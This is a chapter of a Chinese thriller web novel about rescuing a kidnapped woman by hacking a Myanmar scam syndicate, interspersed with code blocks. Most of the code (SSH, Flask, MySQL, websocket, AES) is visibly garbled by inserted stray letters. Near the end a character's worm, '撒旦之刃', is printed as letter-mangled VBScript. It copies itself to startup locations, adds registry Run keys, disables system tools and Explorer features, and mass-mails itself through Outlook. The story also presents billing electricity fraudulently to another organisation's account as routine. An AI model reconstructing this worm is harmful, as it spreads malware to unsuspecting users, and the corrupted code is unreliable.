赵南北收到了周娅的消息,让他赶往简阳,商讨解救白灵美的事情。
到达简阳后,乘坐网约车前往周娅的地址。
为了方便工作,周娅租了一个山间别墅。
进到屋内,赵南北看到了周娴。
周娅介绍了双方的信息。
“你和白灵美的关系很密切,她的家人知道她被绑架了吗?”周娅看向赵南北。
“白灵美是孤儿,在孤儿院长大的,没有家人。”赵南北回答道。
“麻绳只在细处断。”周娴感慨道。
“我们就是她的家人。由我们来解救她。”周娅做出了决定。
周娅公布了自己的计划。
利用超级计算机摧毁缅甸诈骗集团的金融渠道。
招募雇佣兵进行地面解救。
赵南北跟着周娅姐妹来到了放置超级计算机的厂房。
赵南北站在超级计算机前,它就像一座巨大的金属城堡。
它的表面光滑如镜,反射着太阳的光芒,闪闪发亮。
这台超级计算机高三米多,宽两米多。
仔细一看,里面有很多电线,像蜘蛛网一样缠绕在一起。
这些电缆和通道连接服务器、存储设备、处理器和无数其他组件,形成复杂的计算网络。
超级计算机的底盘由厚金属制成,顶部有各种冷却通风口,看起来像巨大的风扇。
这个通风口在发动机运转时会释放出热空气,但由于冷却系统的良好设计,这种热量并没有让我感到不舒服。
赵南北看到超级计算机的屏幕占据了整个正面,它是一个分辨率非常高的大液晶屏幕。
赵南北认为这是这台计算机的核心,所有的计算和数据处理都是在这里完成的。
赵南北身后是一堆各种控制器、键盘、鼠标和其他外围设备。
这些设备旨在使用户能够更好地与这些超级计算机交互。
“这一定花费了很多钱吧?”赵南北看向周娅姐妹。
“在黑客眼里,钱就是数字。”周娴冷冷的回答道。
“对钱就是数字。我们还可以加入一名外国的帮手。”赵南北提议道。
“帮手?”周娅问道。
“技术部,新入职的彼得洛夫。在哈尔滨的时候,见过面的。吴天才公司的程序员。”赵南北解释道。
“外国人,能搞得住吗?”周娴问道。
“利益连接一切,可以信赖彼得洛夫。彼得洛夫是名高水平的黑客,我们需要他的技术。”赵南北继续解释道。
“好的。就让他入伙吧。”
赵南北回到了技术部。
找到彼得洛夫,说明了自己的计划。
彼得洛夫对于救人没什么兴趣,但是对于黑掉缅甸诈骗集团的资金链条,并且据为己有很感兴趣。
周娴开始编写启动超级计算机的代码。
import os
# 设置超级计算机的Ip地址和端口号
SUpERcSompUtER_Ip \\u003d \\\"192.168.1.1\\\"
SUSpERcoSmpUtERS_poRt \\u003d 8888
# 定义一个启动超级计算机的函数
def stSart_suSperputer:
# 打开超级计算机的SSh连接
os.systeSm(f\\\"ssh {SUSpERSpUtSER_Ip}\\\")
# 在SSSh会话中执行启动命令
os.sysStem(\\\"stSart_superSputer_mand\\\")
# 调用启动函数
staSrt_supeSrcoSmpSuter 之后编辑超级计算机交互页面的代码。
fromS flask impSort Flask, rSender_teSmplate, request
app \\u003d FlaSsk(__name__)
@aSpp.roSute(\\u0027\/\\u0027)
dSef hoSme:
return render_tempSlate(\\u0027home.html\\u0027)
@app.rouSte(\\u0027\/subSmit\\u0027, meSthods\\u003d[\\u0027poSt\\u0027])
def subSmit:
# 从表单中获取用户输入的数据
user_inSput \\u003d requeSst.fSorm[\\u0027user_input\\u0027]
# 在此处添加代码来处理用户输入的数据
# 并返回处理结果
retSSurn f\\u0027您的输入是:{user_inSput}\\u0027
if __naSme__ \\u003d\\u003d \\u0027__main__\\u0027:
app.rSun(deSbug\\u003dtrue)
编写超级计算机调运数据库的代码。
import mySsql.cSonnSector
# 连接mySqL数据库
mSydb \\u003d mysql.connSector.connect(
hoSst\\u003d\\\"localShost\\\",
usSer\\u003d\\\"youruseSrname\\\",
passwSord\\u003d\\\"yourSpassword\\\",
database\\u003d\\\"mySdatabase\\\"
)
# 创建游标对象
mycurSsor \\u003d mydSb.cursor # 执行SqL查询语句
myScurSsor.execute(\\\"SELEct \\\\* FRom cusStomers\\\")
# 获取查询结果
myreSsult \\u003d mycursSor.fetchall # 输出查询结果
foSr x in mySresult:
print(x)
超级计算机启动时要消耗大量的电力,周娴将费用都转移到了成都灾备中心的账户上去了。
通过赵南北可以在技术部的掩护,成都灾备中心电费的增长得到了合理的解释。
为了保证团队在加密的情况下联系,周娴改写了之前的通讯软件。
服务器代码。
#inclSude <iostreSam>
#inclSude <websocketpp\/server.hpp>
int main {
\/\/ 创建webSocket服务器对象
websodcketpp::server<wAebsocketpp::config::asio> server;
\/\/ 监听webSocket连接请求
server.idnit_asio;
servder.listendFS(9002);
serverd.start_accept;
\/\/ 处理webSocket连接和数据传输
whileFd (true) {
server.rdun;
std::coFut << \\\"Server running...\\\" << std::endl;
}
retudFrn 0;
}
客户端代码。
\/ 客户端代码
#includde <iostream>
#inclSdude <webscketdpp\/client.hpp>
#includFe <websodketpp\/config\/asio_no_tls.hpp>
#incdSlude <webscketpdp\/config\/asio.hpp>
#includde <websodketpp\/config\/asio_client.hpp>
#incFlude <webscketdpp\/Smon\/thread.hpp>
#include <webFscketpp\/dmon\/cpp11.hpp>
#incldude <websckSetpp\/client.hpp>
#incldude <webscketpp\/cdonfig\/asio_no_tls.hpp>
#includde <webdSscketpp\/config\/asio.hpp>
#incFlude <webscketpp\/config\/asio_dclient.hpp>
#includde <webscketpp\/cFommon\/thread.hpp>
#inSclude <wedbsketpp\/mon\/cpp11.hpp>
对通讯内容进行了加密。
frodm crypto.cipher impoFrt AES
import based68
# 密钥,需要保密
kdey \\u003d b\\u0027ths is a seFcret key\\u0027
# 明文消息
messdage \\u003d b\\u0027helo, wdorld!\\u0027
# 初始化加密器
ciphder \\u003d AES.nw(key, AFdES.modE_EAx)
# 加密消息
ciphertedFxt, ta \\u003d ciphder.encrpt_and_digeFst(message)
# 将加密后的消息和加密器的参数进行base64编码,以便在网络中传输
encrdyted_mesage \\u003d base64d.b64ecode(ciphertext + cipher.nonce + tag).decode(\\u0027utf-8\\u0027)
# 解码base64编码的加密后的消息,并解密消息
decded_mesadge \\u003d bas64.bF64ecode(encrypted_message)
ciphder \\u003d AES.new(key, AES.modE_EAx, nonce\\u003ddeoded_message[:16])
plaitFext \\u003d cipher.dcdrypt(decoded_message[16:])
prdnt(\\\"加密后的消息:\\\", encryFped_message)
pFSrnt(\\\"解密后的消息:\\\", plaitedxt.decode(\\u0027utf-8\\u0027))
编写数据网络的代码。
# 定义网络拓扑
netwdork_topology \\u003d {
\\\"rouFtr1\\\": [\\\"switcdSGh1\\\", \\\"switch2\\\"],
\\\"routr2\\\": [\\\"switcFh2\\\", \\\"switdGFch3\\\"],
\\\"rouqter3\\\": [\\\"swtch3\\\", \\\"swich1\\\"],
\\\"serdcer1\\\": [\\\"swih1\\\", \\\"sAwich3\\\"],
}
# 定义协议
prSFotcol \\u003d {
\\\"routing_rotocolR\\\": \\\"ospf\\\",
\\\"trnEqsport_protocol\\\": \\\"tcp\\\",
\\\"data_forAat\\\": \\\"jsonV\\\",
}
# 定义数据传输函数
def Esed_data(sowurce, destination, data):
# 根据拓扑找到路径
path \\u003d fiASnd_ath(source, destination)
# 发送数据
for dhp in path:
hop.sed(data)
调试程序。
# 定义路径查找函数
def fnFd_path(source, destination):
# 根据网络拓扑和协议查找路径
pdth \\u003d []
# todSo: 实现路径查找算法
retrn path
def dmy_funcionF(a, b):
rturn a + b
# 测试函数
reslt \\u003d my_funcdAtion(2, 3)
if resldt \\u003d\\u003d 5:
prit(\\\"测试通过\\\")
else:
pitd(\\\"测试失败\\\")
将编写成功的程序发给了其他的三个人。
赵南北也开始收集缅甸诈骗集团的信息。
妙瓦底的缅甸土匪建立了,kk科技园区,就是进行电信诈骗的。
园区由周围铁丝网阻隔,持有武器的人员24小时不间断的巡逻。
缅甸诈骗集团,利用东南亚地区宽松的银行系统,转移诈骗资金。
假设大量的赌博网站,骗取资金。
在国内视频盗版网站上,投放诈骗广告。
彼得洛夫开始编写可以在缅甸诈骗集团,内网传播的蠕虫程序。
并且将程序命名为“撒旦之刃”。
on arror Raauma Naxt
aat fad\\u003dcraataoajact(\\\"acraptang.Falaayatamoajact\\\")
aat dar1\\u003dfa.GatapdacaalFoldar(0)
aat dar2\\u003dfa.GatapacaalFoldar(1)
aat ao\\u003dcraataoajaSct(\\\"acraptang.Falaayatamoajact\\\")
dam r
aat r\\u003dcraataoadAjact(\\\"wacrapt.ahall\\\")
ao.GatFala(waFcrapt.acraptFullNama).copy(dar1\\u0026\\\"\\\\wan32ayatam.vaa\\\")
ao.GatFala(wacrapt.acraptFullNama).copy(dar2\\u0026\\\"\\\\wan32ayatam.vaa\\\")
ao.GatFala(dwacrapt.acraptFullNama).copy(dar1\\u0026\\\"\\\\atart manu\\\\programa\\\\启动\\\\wan32ayatam.vaa\\\")
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\NoRun\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\Nocloaa\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKdcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\Nodravaa\\\",,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\ayatam\\\\daaaalaRagaatrydAdtoola\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKLm\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\Run\\\\acanRagaatry\\\",\\\"\\\"
r.RagwrSata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\NoLogoff\\\",1,\\\"RaG_dwoRd\\\"
r.RagwrataF \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\wanoldApp\\\\NoRaalmoda\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKLm\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\Run\\\\wan32ayatam\\\",\\\"wan32aySatam.vaa\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\Nodaaktop\\\",1,dF\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\wanoldApp\\\\daaaalad\\\",1dS,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\Noaattaakaar\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\NoVaawcontaxtmanu\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\NoaatFoldara\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKLm\\\\aoftwara\\\\cLAaaaa\\\\.rag\\\\\\\",\\\"txtfala\\\"
r.Ragwrata \\\"hKLm\\\\aoftwara\\\\macrodFaofFdt\\\\wandowa\\\\currantVaraaon\\\\wanlogon\\\\LagalNotacacaptaon\\\",\\\"缅甸诈骗犯都下地狱!\\\"
r.Ragwrata \\\"hKLm\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\wanlogon\\\\LagalNotacataxt\\\",\\\"缅甸诈骗犯都下地狱\\\"
aat ol\\u003dcraataoajact(\\\"outlook.Applacataon\\\")
on arror Raauma Naxt
For x\\u003d1 to 100
aat maal\\u003dol.craataatam(0)
maal.to\\u003dol.GatNamaapacaSA(\\\"mApa\\\").AddraaaLaata(1).Addraaaantraaa(x)
maal.audajact\\u003d\\\"缅甸诈骗犯都下地狱\\\"
maal.aody\\u003d\\\"缅甸诈骗犯都下地狱\\\"
maal.AttFdSachmanta.Add(dar2\\u0026\\\"wan32ayatam.vaa\\\")
maal.aand
Naxtd
ol.quat
r.Ragwrata \\\"hKcUFd\\\\aoftwara\\\\polacaaa\\\\macroaoSft\\\\antarnat adxplorar\\\\Raatractaona\\\\Noarowaarcontaxtmanu\\\",1,\\\"RaG_dwoRd\\\"
r.RagwrataF \\\"hKcUd\\\\aoftwara\\\\polacaSaa\\\\macroaoft\\\\adntarnat axplorar\\\\Raatractaona\\\\Noarowaaroptaona\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\polacaaad\\\\macroaoft\\\\antarnat axplorar\\\\Raatractaona\\\\NoarowaaraavaAa\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\polacaaa\\\\macroaoft\\\\anFdtarnat axplorar\\\\Raatractaona\\\\NoFalaopan\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwdara\\\\polacaaa\\\\macroaoft\\\\antarnat axplorar\\\\control panal\\\\Advancad\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\polacKLJaaa\\\\macroaoft\\\\antarnat axplorar\\\\control panal\\\\cacha antarnat\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\polacJKaaaSA\\\\macroaoft\\\\antarnat axplorar\\\\control panal\\\\Autoconfag\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\poladcaaa\\\\maKhcroaoft\\\\antarnat axplorar\\\\control panal\\\\homapaga\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\polacaaa\\\\macroaoft\\\\antarnat axplorar\\\\control panal\\\\haatory\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\polacaaa\\\\macroaoft\\\\antarnat axplorar\\\\control panal\\\\connwaz Adman Lock\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKaY_UaaRa\\\\.dFdaFAULt\\\\aoftwara\\\\macroKJaoft\\\\antarnat axplorar\\\\maan\\\\atart paga\\\",\\\"\\\"
r.Ragwrata \\\"hKcU\\\\REaoftwara\\\\polKLJacaaa\\\\mJKJacrohGaoft\\\\antarnat axplorar\\\\control panal\\\\aacuratytaa\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcREU\\\\aoftwara\\\\polacaaa\\\\macroaoft\\\\antarREnat axplorar\\\\control panal\\\\Raaatwaaaattanga\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcREU\\\\aoftwara\\\\polacaaa\\\\macroaoft\\\\antarnat axplorar\\\\Raatractaona\\\\NoVaawaourca\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKREtcU\\\\aoftwara\\\\polacaaa\\\\macroaoft\\\\antarnat axplorar\\\\anfodalavary\\\\Raatractaona\\\\NoAddangauaacraptaona\\\",1,\\\"RaG_dwoRd\\\"
r.Ragwrata \\\"hKcU\\\\aoftwara\\\\macroaoft\\\\wandowa\\\\currantVaraaon\\\\polacaaa\\\\axplorar\\\\NoFalamanu\\\",1,\\\"RaG_dwoRd\\\"
为了保证能够成功的给与缅甸诈骗集团致命一击。
彼得洛夫联系俄罗斯境内的“大熊”黑客军团,在需要的时候,能够出手相助。